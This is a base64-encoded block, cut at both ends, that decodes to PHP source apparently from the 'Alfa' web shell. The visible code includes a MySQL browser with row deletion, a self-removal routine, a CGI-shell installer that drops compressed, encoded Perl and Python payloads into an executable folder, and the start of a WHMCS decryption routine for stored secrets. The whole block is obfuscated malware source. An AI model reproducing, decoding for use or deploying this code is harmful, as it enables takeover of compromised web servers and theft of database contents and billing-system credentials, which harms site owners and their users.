ID0gQG15c3FsaV9xdWVyeSgkY29ubiwgJHF1ZXJ5KTsNCgkJCWlmKCEkcV90YWJsZXMpew0KCQkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IGZhbHNlLCAiZXJyb3IiID0+IEBteXNxbGlfZXJyb3IoJGNvbm4pLCAicXVlcnkiID0+ICRxdWVyeSkpOw0KCQkJCXJldHVybiBmYWxzZTsNCgkJCX0NCgkJCSRjb2xfa2V5ID0gQG15c3FsaV9xdWVyeSgkY29ubiwgIlNFTEVDVCBDT0xVTU5fTkFNRSBGUk9NIElORk9STUFUSU9OX1NDSEVNQS5DT0xVTU5TIFdIRVJFIFRBQkxFX1NDSEVNQSA9ICciLkBhZGRzbGFzaGVzKCRkYlsiZGIiXSkuIicgQU5EIFRBQkxFX05BTUUgPSAnIi5AYWRkc2xhc2hlcygkZGJbInRhYmxlIl0pLiInIEFORCBDT0xVTU5fS0VZID0gJ1BSSSciKTsNCgkJCWlmKCRjb2xfa2V5KXsNCgkJCQkkY29sX2tleSA9IEBteXNxbGlfZmV0Y2hfcm93KCRjb2xfa2V5KTsNCgkJCQkkY29sX2tleSA9ICRjb2xfa2V5WzBdOw0KCQkJCWlmKCFlbXB0eSgkY29sX2tleSkpew0KCQkJCQkkdGJsX2NvbnRlbnQgPSAnPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo1cHg7bWFyZ2luLXRvcDo1cHg7Ij48YnV0dG9uIGNvbF9rZXk9IicuJGNvbF9rZXkuJyIgdGJsX25hbWU9IicuJGRiWyJ0YWJsZSJdLiciIGRiX2lkPSInLiRkYlsiZGJfaWQiXS4nIiAJZGJfdGFyZ2V0PSInLiRkYlsiZGIiXS4nIiBvbmNsaWNrPSJhbGZhTXlzcWxEZWxldGVBbGxTZWxlY3RlZHJvd3ModGhpcyk7cmV0dXJuIGZhbHNlOyI+RGVsZXRlIFNlbGVjdGVkIFJvd3M8L2J1dHRvbj48L2Rpdj48dGFibGUgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIxIiBjZWxscGFkZGluZz0iMiIgY2xhc3M9Im1haW4gbXlzcWwtZGF0YS10YmwiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiPic7DQoJCQkJfQ0KCQkJfWVsc2V7DQoJCQkJJGNvbF9rZXkgPSBmYWxzZTsNCgkJCX0NCgkJCXdoaWxlKCRpdGVtID0gQG15c3FsaV9mZXRjaF9hc3NvYygkcV90YWJsZXMpKXsNCgkJCQlpZighJHRpdGxlKXsNCgkJCQkJJHRibF9jb250ZW50IC49ICc8dHIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzMwNWI4ZTsiPic7DQoJCQkJCWlmKCRjb2xfa2V5KXsNCgkJCQkJCSR0YmxfY29udGVudCAuPSAnPHRoIHN0eWxlPSJ3aWR0aDogNTVweDt0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgb25jaGFuZ2U9ImFsZmFNeXNxbFRibFNlbGVjdEFsbCh0aGlzKTsiIHR5cGU9ImNoZWNrYm94Ij48L3RoPjx0aCBzdHlsZT0id2lkdGg6IDU1cHg7dGV4dC1hbGlnbjpjZW50ZXI7Ij5FZGl0PC90aD48dGggc3R5bGU9IndpZHRoOiA1NXB4O3RleHQtYWxpZ246Y2VudGVyOyI+RGVsZXRlPC90aD4nOw0KCQkJCQl9DQoJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpew0KCQkJCQkJJHRibF9jb250ZW50IC49ICc8dGg+Jy4ka2V5Lic8L3RoPic7DQoJCQkJCX0NCgkJCQkJcmVzZXQoJGl0ZW0pOw0KCQkJCQkkdGl0bGU9dHJ1ZTsNCgkJCQkJJHRibF9jb250ZW50IC49ICc8L3RyPjx0cj4nOw0KCQkJCX0NCg0KCQkJCWlmKCRjb2xfa2V5KXsNCgkJCQkJJGNhY2hlTXNnID0gJzx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48aW5wdXQgcm93X2lkPSInLiRsaW5lLiciIHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0Ymxfcm93c19jaGVja2JveFtdIiB2YWx1ZT0iJy4kaXRlbVskY29sX2tleV0uJyI+PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGEgY2xhc3M9ImRiLW9wdC1pZCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgZGJfaWQ9IicuJGRiWyJkYl9pZCJdLiciIGRiX3RhcmdldD0iJy4kZGJbImRiIl0uJyIgdGJsX25hbWU9IicuJGRiWyJ0YWJsZSJdLiciIGNvbF9rZXk9IicuJGNvbF9rZXkuJyIga2V5PSInLiRpdGVtWyRjb2xfa2V5XS4nIiBvbmNsaWNrPSJhbGZhTXlzcWxFZGl0Um93KHRoaXMsIFwnZWRpdFwnKTsiIHN0eWxlPSJjb2xvcjojMGFjYWE2OyI+RWRpdDwvYT48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48YSBjbGFzcz0iZGItb3B0LWlkIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBkYl9pZD0iJy4kZGJbImRiX2lkIl0uJyIgZGJfdGFyZ2V0PSInLiRkYlsiZGIiXS4nIiB0YmxfbmFtZT0iJy4kZGJbInRhYmxlIl0uJyIgY29sX2tleT0iJy4kY29sX2tleS4nIiBrZXk9IicuJGl0ZW1bJGNvbF9rZXldLiciIHJvd19pZD0iJy4kbGluZS4nIiBvbmNsaWNrPSJhbGZhTXlzcWxFZGl0Um93KHRoaXMsIFwnZGVsZXRlXCcpOyIgc3R5bGU9ImNvbG9yOiNmZjFlMWU7Ij5EZWxldGU8L2E+PC90ZD4nOw0KCQkJCX0NCgkJCQkkdGJsX2NvbnRlbnQgLj0gJzx0ciBjbGFzcz0idGJsX3JvdyB0Ymxfcm93X2wnLiRsaW5lLiciPicuJGNhY2hlTXNnOw0KCQkJCSRsaW5lKys7DQoJCQkJZm9yZWFjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSl7DQoJCQkJCWlmKCR2YWx1ZSA9PSBudWxsKXsNCgkJCQkJCSR0YmxfY29udGVudCAuPSAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOw0KCQkJCQl9ZWxzZXsNCgkJCQkJCSR0YmxfY29udGVudCAuPSAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOw0KCQkJCX0NCgkJCQl9DQoJCQkJJHRibF9jb250ZW50IC49ICc8L3RyPic7DQoJCQl9DQoJCQkkdGJsX2NvbnRlbnQgLj0gJzwvdGFibGU+JzsNCgkJCWlmKCEkdGl0bGUpew0KCQkJCSR0YmxfY29udGVudCA9ICI8ZGl2IHN0eWxlPSdwYWRkaW5nOjVweDtib3JkZXI6MXB4IGRhc2hlZDttYXJnaW46MTBweDsnPlRhYmxlIGlzIGVtcHR5Li4uPC9kaXY+IjsNCgkJCX0NCgkJCWVjaG8gQGpzb25fZW5jb2RlKGFycmF5KCJzdGF0dXMiID0+IHRydWUsICJ0YWJsZSIgPT4gJHRibF9jb250ZW50LCAiY29sdW1ucyIgPT4gJGNvbHVtbnMsICJwYWdlcyIgPT4gJHBhZ2VzLCAicXVlcnkiID0+ICRxdWVyeSkpOw0KCQl9DQoJCUBteXNxbGlfY2xvc2UoJGNvbm4pOw0KCX0NCn0NCmZ1bmN0aW9uIGFsZmFzZWxmcm0oKXsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkmJiRfUE9TVFsnYWxmYTEnXT09J3llcycpew0KZWNobyhfX3ByZSgpLic8Y2VudGVyPicpOw0KaWYoQHVubGluaygkR0xPQkFMU1snX19maWxlX3BhdGgnXSkpew0KZWNobygnPGI+U2hlbGwgaGFzIGJlZW4gcmVtb3ZlZDwvaT4gOik8L2I+Jyk7DQp9ZWxzZXsNCmVjaG8gJ3VubGluayBlcnJvciEnOw0KfQ0KZWNobygnPC9jZW50ZXI+Jyk7DQp9DQppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ10hPSd5ZXMnKXsNCmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPiI7DQplY2hvICINCjxjZW50ZXI+PHA+PGltZyBzcmM9XCJodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9mYXJ2YWhhci1pcmFuLnBuZ1wiPjwvcD4iOw0KZWNobyAnPHA+PGRpdiBjbGFzcz0idHh0Zm9udCI+RG8geW91IHdhbnQgdG8gZGVzdHJveSBtZT8hPC9kaXY+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NlbGZybVwnLG51bGwsXCd5ZXNcJyk7Ij4gWWVzPC9hPic7DQplY2hvICc8L3A+PC9jZW50ZXI+PC9kaXY+JzsNCn0NCn0NCmZ1bmN0aW9uIGFsZmFjZ2lzaGVsbCgpew0KYWxmYWhlYWQoKTsNCiRkaXYgPSAiIjsNCmFsZmFDcmVhdGVQYXJlbnRGb2xkZXIoKTsNCkBjaGRpcigkR0xPQkFMU1snaG9tZV9jd2QnXSAuICIvIiAuIF9fVUNFTl9EQVRBX0ZPTERFUl9fKTsNCmlmKCFpbl9hcnJheSgkX1BPU1RbJ2FsZmExJ10sYXJyYXkoJ3BlcmwnLCdweScpKSl7DQokZGl2ID0gIjwvZGl2PiI7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENHSSBTaGVsbCB8PC9kaXY+PC9wPjxoMz48YSBjbGFzcz0icmVqZWN0bWUiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKSIgb25jbGljaz0icnVuY2dpKFwncGVybFwnKSI+fCBQZXJsIHwgPC9hPjxhIGNsYXNzPSJyZWplY3RtZSIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApIiBvbmNsaWNrPSJydW5jZ2koXCdweVwnKTsiPnwgUHl0aG9uIHwgPC9hPic7DQp9DQppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiZpbl9hcnJheSgkX1BPU1RbJ2FsZmExJ10sYXJyYXkoJ3BlcmwnLCdweScpKSl7DQpAbWtkaXIoJ2NnaWFsZmEnLDA3NTUpOw0KQGNoZGlyKCdjZ2lhbGZhJyk7DQphbGZhY2dpaHRhY2Nlc3MoJ2NnaScpOw0KJG5hbWUgPSAkX1BPU1RbJ2FsZmExJ10uJy5hbGZhJzsNCiRwZXJsID0gJyMhL3Vzci9iaW4vcGVybCAgIC1JL3Vzci9sb2NhbC9iYW5kbWluJy4iXG4iLid1c2UgTUlNRTo6QmFzZTY0O3VzZSBDb21wcmVzczo6WmxpYjtldmFsKENvbXByZXNzOjpabGliOjptZW1HdW56aXAoZGVjb2RlX2Jhc2U2NCgiSDRzSUFBQUFBQUFBLzZVWkRYZlRSdkt2TEJ0aFNSQmJ0a3RhenJKY1F1SkEzaVVobHhqdTlhSmdaR2x0NzBPV1ZIMlFwTWI5N1RlenU3S2tFS0MweVVPUlp1ZDdabWRtbHlKajVQVDRkRHdZdlBReTl2TXp1d0RBRVErWkJFVGVpZ25Rd1UxQWRHK1dUUk12WCtxMjVpLzROT0FwY1FnOEVjc29GdzJ0YTVxMjlsOGVuVTFndVd0clo1T0RWWERKRXZpaUxXcHJieU4rVzBGc2dCekVxNVVYQlJPK1luR1JIeGFwbC9NNGd0VWVrRjh1NDV2RE81REIvVGRGbmhRNXdtME50QktDNFd2QjhqQmU4SWg4L296dnlVM0JBME1ibXZoTnZYRHVvWWhTb0tGVSs1VlVpZzFJVFNsVElKK0R3WFZrNmdjVThHaHlFMURBT0FkTDcvT2pyaXRRTEVTNFlPQVk1dWR4MnNRaC9WR3JSM3FqVmwvZzRsdFB3SUFvSzJia2dubkJ1WmVDeTlkaDdIc2hNWjd3eUFRZUw2YUV6K0ZwSzdER2Q0a0c3L0Q4eU83Zytja0xRZTVwRWVZODhkTDhLRTVYaDE3dUFhazJQbnUzMWcvZW5FM0daNVBwNUxmenNiNGh6cC9FV3BYSXJqVUg5SFlBK0RhWnhVVVVlT21kWTNTZW1wcGw4N2toT1Z5TS8vTjJmRG1abm80bnI5OGNBZy8yTzZHdnhoTnFyalVlYlFVQjBzVnYwOHZKeGZIWkszMWpiMWlZZlp2RitadEw1SkdDNmNibDVQRDRES3poMGU0OXZVL0daNjhtci9XTmFXKzI3UDZ1VGFEd1N3VUJ0ZlYyVys5b1BmdEZ5RFBNcml3SmVXNVlXeFJMNkFQT2ZRMGFzdlJsSENDVmh0aFh2ZXNtR0RSd1V6ZkNmNS9oVDJTVnkwanh3ZFpLWXIxOC9aTmtna0t6QUpWSGEzME91dytWUm51SVFLcFlBSGRjeHJ4M1hJcTJ1TFFray9pOTJwZGdUUzFyY1IrV0lReThBMG5rOUcxbGljYXY0WlUvZlFyT0tRRVMvMzNucVpBb1ZLd3ZBWGZEdlZGS1FCWXFCU0FUbFluaURWa1k3NDJHVzB6enN3Qm84S1daUXNVdDdtT2owekd0eFBNL0d0U251MlRKYmcydFo1cldnZ2xEVUpLd0ZTanNEYVlYVzc4USthY0MxeW9EQmlZeXoxL0NCekc2cE5NaDJnNkFNVmtyNDl5bkZnSHhSbTBYVlp3Y3lRbXhkMG5mVkVaK1Y4a2ZOS1VEWmREdFV0emZSc0RtUEdKUXZzcFZMS1oxVEdYMUJvdkYyeVNNdlFETDlkcGZ4b21oVGJ3VUN1QVpCTXNVM0dvQWROaEJrYVlzeWc5NWFxSitLK3ZLZFYzckd2YTROa205S0p1ekZKbUp0VWZHMVh2cnZldGVQekcxUjNhZEVTcWg2aC91R3JXRWhKZjhENVREbzl5QUpGMWdNMmhtdEVrc3FPbjlaeVlXbFRoaGtmSDIvT1ROL3VIUjhjbDRsOUJSVFF3MXpmV01SNnM0WURVa1laYXNwbmFTZ2lCU3JaRjd3bXcvakxNR3NTS2hwYkVzSVBlMS8vZkxqaHRSaGFoUGxvd2dRMEwxemt6MXc0YVhPem9sTjE1R0NoRUo0SmNWdnMreWJGNkU0VjFIbDhtcHBCNTVxQnIwbWtmVWx2RTd4d1VVclFJSjlZcXNOU3hiV0pXR1BzU0twYU9oQU1RUlVLeDQ3dEI4eWJPTy9PZ0VQUE5td05YSjA0TFpZaVhvUUlZVXpKbmxzV2NVRWN0OEwyRUdpM3p3NU51TFkraTFTUndCWjZPT2JVS2FVUUpJK1YzQ0hMb3RvbFVOcFdURjhtVWNPTEpjRTgvSEh1MkFZN1JMUCtWSmZnSjlDVUhna3RFdzlHWXNKRURzVU9XYUZLQlo0a1dFQTR2cGRJNnVMQklBV2dnZGtXR1dwM0cwR0xXaVdaYlk4bm13akNHQ3hCTXhBRVNKTWJRRTk5R1FSemdOWlBsZENDcURKNUxRdXh0RVlCeVlnbEsya3NGNS90S0xGb2dXKzhVS3JPOUFCTWNodzllWGQ4ZUI0ZXBiblZ6ZDdQQW9ZdW5yeWVtSkk3eUU4ck9yN25WSERFU1VTQzhobEJKUkd1bWNrZ3p5eDZFLzdkRlNNN2tpSTFYU2xGOHlSa3JGTFlYRVdmSWdZRkhKT2RnaWc2dXJIU3pjL0hVcTcwc1JJcGJ3UjZXVkxocjdGS3dTVFRobGVaRkdvZzNqQ3hGcGFOY1RXRUdxekQzM0ZreDJwclUyRnZrVlZQbzE2NDM5RUlKb0RGZnZ2ZllmKyszL2Rkdi91all0L2JIZUtTSlpNRjgvb2J0UUxDMjJLUGZ0UVF5YVIza2JEUjZRbk4zbTFqSmZoZGhRdGx0MmlKRFJjQWw2allZNXowTTJPa0RCWkhaSDlrK085c21FN1orU05qbDRkVXpPV1JvT0xZazBGSGswZXJLR0NUU0VFaXdUYWJPelRZdjFIUHlZRDBqS0Y4dmNqait4RkFBM0ErbDIyNC9ET0IzczlQZm04MjdYdnVGQnZoejBubldUVzd0TVRDaUx5TGM5ZzZIdG80M0t0N2RNQ0F0RG5tUThzMitXUEdkdDJCSStXQmpGTjZtWDJCdVI3K3NWbEIwZXRZWDhBWlJSNEEzME9ZZHhzTzJGZkJFTnlBcVVDWms5aTFNSUN1QWt0eVNMUXg0UUtIWDJETHk2U0hHbUFkOWhCWVFORHQ0RTdOdDJ0dlFDMUtNTHY4K0FhcWM3L3FuN2JGOXhhcWRld0l0c2dFdktOdExmUXdWK3hBeS9TRFB3RVVsaWpnbjRGY2RJWTRuYzYrdTZ6bWlEaWtISTVubXBTRTk0WWlPMndwWFlDbktQWGErVndGSmVuWmNJN3NOdWtwRWtjWW9GNHlFSGJIYjhWYkQrVzl4SzMvMkNLajhRendla0pWNFE4R2pSVms3S2NxaktBN0wzNVFwRFRSQyt3YUJBYUQzWXlsaVRsSDZOdks1cFgxTytGRnpUcFc3UHpwSDRLUVVQZWo4RG1rcjh2ZWYrM3Q3ek12RzczY2ZWRHZHS1BMWTNXTDV4Z3cwdHVUVm5PUDNHRWRhbWIxVmxjRFhXNHprZ1pBYjJxTmxDU0hUb1RsZjhRR0dORStsS2g4SVhwa2J0VTc0S3RXcmZTNFpPRndCMEZqQ1Rwa0dWckpvdVZCTWxDZ0pKUjFka09LdEtDWGlFa2N3TFNBdlM5eFBQT0hSaDhxY0FxNjhYaXhVMC9JNGZyNGJXYkVTdXNmNUdlVlYvaHpsMmJpTGQ3TkFlREJKU1MvUWVKVDdzSmR3LzRHaWhKMzRyeHp1MEQ0cm15Q0pvRUNtdDU3RHJIUHFPcFlFWGVXVmZRaEpRbzJIWFRyOC83dmVmaTVYTFNuTnlzT0NxTnM1R1NtMEN0VGVDOHl4WW44Y0VtejVMSWNBNEJIVjBpWmNIK01ERzBtd1JSM0VNOXBaVGtOSjdSRHV0QjhZZlk5dUhPclRpQ0EvMEZmekZyTUVVd2hwUGEzTFVEY0lKSlBneEZnTGt0ZGJPVXhoMjhFUlhuYjlyUFdsRXhCRWM0aXJtRWpsSDZDcWZ1ei85QWk2MWRkQnplOVdBS29saDVjWDNLR3JPb2RXQTh5Vk5melpudlQyZ3FhbFY0bCs3R3FGMk5RMmlNMlkvUEEzS2xlVzlKZWo4alZXWWxoeFhYOEpPV3pkbVNGZUhTS3U3bm83dTZodXg2di9RaE9sWEUrWS9uVSszbzlhUGpLSi9hN0lDZ0V3ZVNPNDZBNndXSmJrdnAweW9VTnZaci9zWFp6SmZwdXM5N0hJMmJNNk5pbVEwb28zWldENi9TNytVU2taaUJnNjUvOUdoRUh3L2p1WWNkcHVyNzZlTTNNVUZuRnZnNVZkSUFKVUJRQ1FTUWs2QVJBMkZjdzgrN0sxT3IyTTRwMVdESldUb1B4b3FtOWVBYStEMFNHNWNjKzJGSHFqYk5hdEpVS0FTZHVzemhpVjU1ZDN5VmJFaU9SQ1RHTTZJWDdsVHpCallIaGlaV1o3QnhyZk1MM0pXTWx4dld0c3JPUHRlT20xdnVDNFBMbzdQSjlPei9kTXhIRE5ydTczQ0dGKzhHMTlzTVpxbmExSmV4OWlhVE4wU2hJZFc3YUtJU21VY0VqRGNGdE9adUp5VnAya2ZyOEMweHFEOUFGYUFXUEpTb0lINlFWMXVmc0NUZEdNTjQwWEZ3YnloQWw0VHZIZXpKMzdnWmsveHhna3Z6MkN3Z0JPaXZPNzVMb0Y5bjBMR3YzbEZxaTVvT3pXb3ZkSGVoTUVEUjRuS1BkUVBpRnV2NlM2RjZxdFk0YUtTV3dHVitWOXhqV1Q4d2JRM3JYc25ITHkvd1h2ZnY5UlJ0aDNEZlZGUGpocW1MTzczV3VJdzRKL0tCcUdHUTV4bUJuMGN4L1NSR0QrazVZT0h1b21hTVVVRHFnS3liVUN5U1lPSTBURDV0cWpHWUZvS0w0ZEtrc1kzbWFQM3V6ckpFcGhKL0NXRG9xS0x5Z0NpUlRxb3JNYU1VcWRQYzkycUxxdktCUGlMY2F3YlUwK1BlbjNRTG85ZnJmWDlrNHRUY1EzcXRwcmIzNWIxNHl0RlFkMG9mL0VmRGNEMnM5T3I4ZzN2NmNobmFvdUxLd1dVbUx2YmVtUGkwU2RreHJDeFBnSldVM1hneFJ2UTFJMU12RTFWQ2FCTjhRQzdBV25kUm5Hc01sSm8rR1UxM0d6S0ZMTEsrSlF4dHBMYVNFYnQxbGZISkx0MWIxS3ovdzh3YmxTK0ZSb0FBQT09IikpKTsnOzsNCiRweSA9ICcjIS91c3IvYmluL3B5dGhvbicuIlxuaW1wb3J0IHpsaWIsIGJhc2U2NFxuIi4nZXZhbChjb21waWxlKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKCJlSnlsRjl0eTJ6YjIyZm9LREx4YlVxdXJGVHZONk5hNlhxZjFiTk5tRXJjdnRrY0RFcUNJQ1Fsd1FkQzI2dkYrKzU0RGtCTFZhT08yYTgvWUJNNzlmbUROWnRvNWtubWhqU1h4V3RwbzV2OE5oV0pSSnNKdVJ6ekdvckNBVmJDeTdOU281YWJzQTE1ZmwvMjFzQWpwUjZ3VXIwLzdsY2t5R1hVU28zTmlaUzVJUTJGTmd1ZUdnelVzRmhHTFAzblVqOVpJdGI3NnVVRnZ6aldqQnJrQkZ3QzFLMUN0SXhPaVM5RDJYaHF0aGlrclY1L0VKcVFmTHo1Y3ZiOWUvWFQrN3BKMlFma3lOckt3aW9GQ2l4YkJ6UjdpWFVka3BmZzlOcVVkTGhMQ3NvUmQ1RHlNa2QxUm5NcU1yMHJMcGVxVDdVRlgxck12ZENIVUJIRDNVWWR4cGt0MDZ0R1JFV1dWSVhhYmVHZ0U0K0VlRWQ2MnFXeGxGUEhFblVTYkhEbXM1ZkN0RkJuL2FMVmhhOFNNY3c0QWhBOGhQdmNzcTBRWXhFRzN3Nlg1SE1BQkFINEVJakROay9vd0RpdjE3MHBiRWZyZ0RxUFhwMXpFbW9zUXNMcU9DQmdDa1dmN0VoRmdkVnVTL01mTmVQcnFqaXdXSklnNUNkQzN5cXZnenFTSEV1QnZNTU52aE9CMzhjQUR3THlvakJISy90Tkpid0tFNUYzd1pKRkIwb1RCclFyNmdUZFFhZXU0TVFXY2Q3U0JBMGhGTWgyenJBd3h3QWM1QnlqMkFPczZhMERDQzF6MzJZSXFIWWpkeWpzUHM0YlpkTWlpRXYrSGRFaTduZmVRL1FWbVNYQkQ1bkN2b0k0Mm1WalFXR2ZhVEkvSHI3NCtHWTluZEJuMDZqckVzRmFsTUdHM0Y4eEhTTEw4OWdYS3ZYSzQvUERyNVllNkhMWWNEc3FlUklrNE9YTWNkbWJ0U083K0ZxRFBWeXNzbzlYS1JYaTF5cGxVcXhXRzJaVXdvUmRhV1NBZDJFMGhwc1NLUnp0S2JaN2RtbHRGRzZSZ2psZkxlUXJWc1p4YmFUT3h2SUNFNGlUYWtQTWYzNTZUYTNIK2pnekl4ZmRYNVAzR3Bsck5SeDV0bmd2TG9NYVlLWVZkMEYrdTN3N2UwT1hjV2JMOHh4TlVWeWFWbUNxdHhPejVlTFZLVU51cWVFb3l6ZXlVR0xsTzdVemZDd01YRDFPU1NzNkZtbmtQa09QSldaS0FFeDhrdCttVW5KeU9pOGNabHlXa3gyWUtvVWZXZ3dqaS8ybUdoZzEyZkFRVVNsSEtjdmFRU2lzRzRMRVlyRmY2d2JCaTlweXhTR1JQT1ROcnFRWk9CV0NPdklIZVNzaW1BY3ZrV2sxSkR1cGtZaFpwd3dYb2MxSThrbEpua2tPRDREUHNsMnVqSzhXbjJFQVZDTUVnQWZiam9Fd1pSejNHOEhzS1ZNZmp5MWZqMC9PYTA4QXdMcXR5aXFER3VNa1pLdkJueklnclU2S1hDZzB4Rk9aL09NWWJpK05CcS9WVFcyZTBvUTVESmhLNzliTHp4TE5VUldWdk1Hc1daUlhsMHQ0OTFRSWJlVzFlTHI2SDNWVEhFanFuV290RERuZytob2J5OUplNE5iNzdHbFUrRU04RDBnckdZVkNzQjdXVFNzc01ZSjk5RGhHb0NkNC9ZMUFndE93SnhvTDhUZFQ2N2FWMlMvdVc4bzNnbGk1dGU0N2Z1cDlHOFBUa05hRFZ4WC8ySmo0N2UxTWJDSTNrNzdzaVlaWFZzMmRvQTY3RzVpTmZ0WkhtRzZJVnhKTXZLTmR4bFVNdVlyTzZ6QVIrZnJlNTR1RnRBSzYraFJhYkFBSzB6QmtsMGRwSlhORGpzZnVoeE9yQ3UzSkI0WVNwMFRyNlQ2ZFc2NXdLZExxN1FHY0JNMjhhZElKWVlMSXM1d24wSVZLTGdrRFNKVFRjYU5kbHdDT0NsSXlUcnlCOTcyVXBZVGtpLzNIWDllbmJOZlMyYkJqcmZENktvUDNOUjhnUzdHOGtXRnlvaUhmemdwNVFVbXVKM3FNa2hsckMrZ0ZIT3ozeFhEdCtRU2VncUVVVy9JQS8ybXhxT3hLb3d3WDlWUmpPRktNRXM4SXpBY1gyTEQyZVRDNG5remNPOG5GbkM3bFl5MjBqalphMUtRUjZ0Ukt4Qlk5WVRWNllHMGhsT2Y0eGplN0xvSm41Ukpia0o4aER0MG01WVU5YnpaN0wrMmJVMURXRFFaNU9NRXVkcGhjNnozR0dUdy9OcGJyMFlDejFVVlNmTkJQSjZ3VE1sL05pK1VVaGU1WGFpRzJxakJqOVVJSTN3Zk5sQVVHS1V4Ri9XdEFFWnJ5Z3RZbEJJak1SNFBESFRRdXR0RzdSUGpwQ1FJSzdXcjJGM1hqVU80VFZHd3FFUUVIWks5Z3d0dGg5a3NuU3VoWGlpSkEyazV2dDRhN2pCR2pqNE5DUGM2ZEFBM2EwS0tPQkR2RUR4NTJIRU9Dclduc0libThJRFQvRDcyN3hxeXhiNFMyUXRUWWJXTkJHdUt3bHFrSEViVGpjWWtOSUhpSW84Z2NEYlBmWjF3dndUZ0xjWWZhQ0FNaU5FSFFEejlnZHF5NmNWNGd3T2hsUFRyZGs5VzV4alZNdkVWRE9oUFpnd29RTnUyNlBrbjk5TjZUNytNRjFLcHhFUW9OZW9ub0IxQllyU1ZWZzB3SWVaUlhIb2l4UitHYUk2NmQvR3BGTDkwOXFlQWtJWTV3M1BVTTRkWTdxNVhDYkFSNjBYU25ySlhmZmZjMnUyejBzeFBQQjU5aTJaa1pOZWpZcFBpb09GT0E4Y3AwT1hnMWErYW01b0RhVjRGVjNHTUtJeGliRkY5WlVZdGFDcEw4RHlTVGNnMHErV053R0tiVHVKM2ZQaCs1cEFYZEJyMTV4ZThGdDhPeUFjUTJNckdaaHBVUVpzMEtFUXVFYjRaY1BWMURkQmZRR0NIY2J1OXZ0enZaWS96RnF2cU9tQkpNWEtoV21nb0RXQm5Qby9jOGZyeWxoTWZwMUFVSGZ2ZnNnK011NTJ6R0kyekdvMy93YUhwd1Nyd1hkWDM1eEdmWTdleThnZS9RWUgwckFUeFRpMnJDSktkbVg0djNaZ0p1VDc5K3Z4bHVoeXlWZGZxWGdvVEJyLzMyUlUrb1ZBQ3UwaWpPSmJRc0NHV3VWU0pQRDhEMDNnbXgwQllrT0g5OUFNT3RvQXBFTDd1d1prNW5VajFEWDhXWmJuWDdRT2ZRL0hCVW14emE0eTh4RFNiZ2J1MzhtR2YrUDJBT1NkMHdPTDJjSnE3QjFtZzQ0cyt3UEo0VGZWUk9jbkhWWE1QaVl3Qm1FanQwK0g5QVB6Y1BKTGJaNzBicElOYnpuQ1hPOUJ2Y2toekVmT2U1TlB0U3pxVm1hM2RibXc3ZVZqRkZNY2RoOWFhSGE2b1JybFlUNWJYNjRmdmZqd2puSXRjT2I4ZDBRTVlDN2R4RGVibXZGZmRmNWQ3WXRpZjMwM0UrNE9oMjhsbit4aUw1QXhENlg0Rk51dDJqdE1tN2tkaTZjL0xCOTRpcUt6OGpndjExTlZabz0iKSksXCc8c3RyaW5nPlwnLFwnZXhlY1wnKSknOw0KaWYoJF9QT1NUWydhbGZhMSddPT0ncGVybCcpeyRjb2RlID0gJHBlcmw7fWVsc2V7JGNvZGUgPSAkcHk7fQ0KaWYoX193cml0ZV9maWxlKCRuYW1lLCRjb2RlKSl7DQpAY2htb2QoJG5hbWUsMDc1NSk7DQplY2hvICc8aWZyYW1lIHNyYz0iJy5fX1VDRU5fREFUQV9GT0xERVJfXy4nL2NnaWFsZmEvJy4kbmFtZS4nIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI2MDBweCIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJvcGFjaXR5OjAuOTtmaWx0ZXI6IGFscGhhKG9wYWNpdHk9OSk7b3ZlcmZsb3c6YXV0bzsiPjwvaWZyYW1lPic7DQp9DQp9DQplY2hvICRkaXY7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhV2htY3MoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KZnVuY3Rpb24gZGVjcnlwdCgkc3RyaW5nLCRjY19lbmNyeXB0aW9uX2hhc2gpew0KJGtleSA9IG1kNSAobWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKSkgLiBtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpOw0KJGhhc2hfa2V5ID0gX2hhc2goJGtleSk7DQokaGFzaF9sZW5ndGggPSBzdHJsZW4gKCRoYXNoX2tleSk7DQokc3RyaW5nID0gX19aR1ZqYjJSbGNnKCRzdHJpbmcpOw0KJHRtcF9pdiA9IHN1YnN0ciAoJHN0cmluZywgMCwgJGhhc2hfbGVuZ3RoKTsNCiRzdHJpbmcgPSBzdWJzdHIgKCRzdHJpbmcsICRoYXNoX2xlbmd0aCwgc3R